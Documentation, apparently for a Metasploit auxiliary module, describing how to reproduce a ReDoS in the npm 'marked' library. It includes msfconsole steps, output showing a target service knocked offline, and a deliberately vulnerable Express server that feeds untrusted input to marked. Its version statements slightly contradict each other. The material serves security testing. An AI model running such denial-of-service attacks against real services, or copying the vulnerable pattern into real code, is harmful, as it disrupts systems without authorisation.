2.8 KiB
2.8 KiB
Vulnerable Application
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
in the npm module marked. The vulnerable regex is in the "heading" processing.
Versions before 0.3.19 are vulnerable.
Any application that uses a vulnerable version of this module and passes untrusted input
to the module will be vulnerable.
How to Install
To install a vulnerable version of marked, run:
npm i marked@0.3.19
Verification Steps
- Create a new directory for test application.
- Copy below example server into test application directory as
server.js. - Run
npm i expressto install express in the test application directory. - To test vulnerable versions of the module, run
npm i marked@0.3.19to install a vulnerable version of marked. - To test non-vulnerable versions of the module, run
npm i markedto install the latest version of marked. - Once all dependencies are installed, run the server with
node server.js. - Open up a new terminal.
- Start msfconsole.
use auxiliary/dos/http/marked_redos.set RHOST [IP].set HTTP_METHOD get(optional)set HTTP_PARAMETER foo(required)set TARGETURI /path/to/vulnerable/route(optional)run.- In vulnerable installations, Module should have positive output and the test application should accept no further requests.
- In non-vulnerable installations, module should have negative output and the test application should accept further requests.
Scenarios
marked npm module version 0.3.19
Expected output for successful exploitation:
[*] Testing Service to make sure it is working.
[*] Test request successful, attempting to send payload
[*] Sending ReDoS request to 192.168.3.24:3000.
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
[*] Testing for service unresponsiveness.
[+] Service not responding.
[*] Auxiliary module execution completed
Example Vulnerable Application
// npm i express body-parser
// npm i marked@0.3.19 (vulnerable)
// npm i marked (non-vulnerable)
const marked = require('marked');
const express = require('express');
const bodyParser = require('body-parser');
var app = express();
app.use(bodyParser.text({ type: 'text/html' }));
// create application/json parser
const jsonParser = bodyParser.json();
// create application/x-www-form-urlencoded parser
const urlencodedParser = bodyParser.urlencoded({ extended: false });
app.get("/", urlencodedParser, function(req, res) {
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
res.end(result);
});
app.post("/cat", urlencodedParser, function(req, res) {
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
res.end(result);
});
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });